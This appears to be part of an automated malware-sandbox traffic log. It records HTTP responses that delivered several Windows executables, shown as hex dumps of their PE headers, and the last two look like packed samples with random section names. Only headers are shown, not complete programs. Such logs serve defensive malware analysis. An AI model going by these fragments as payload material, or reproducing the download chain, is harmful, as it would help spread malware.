00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 08:36:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 08:36:18 GMTContent-Type: application/octet-streamContent-Length: 1921024Last-Modified: Fri, 26 Jul 2024 07:32:05 GMTConnection: keep-aliveETag: "66a350f5-1d5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4c 00 00 04 00 00 0a b4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 13 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 12 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 67 69 68 66 73 70 00 40 1a 00 00 e0 31 00 00 36 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 77 75 6b 66 6c 74 78 00 10 00 00 00 20 4c 00 00 04 00 00 00 2a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4c 00 00 22 00 00 00 2e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 26 Jul 2024 08:36:21 GMTContent-Type: application/octet-streamContent-Length: 1912832Last-Modified: Fri, 26 Jul 2024 07:31:29 GMTConnection: keep-aliveETag: "66a350d1-1d3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 9d bc 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 95 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 95 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 61 6f 6d 65 64 6d 63 00 20 1a 00 00 80 31 00 00 18 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 6c 70 68 72 6e 6a 00 10 00 00 00 a0 4b 00 00 04 00 00 00 0a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 0e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 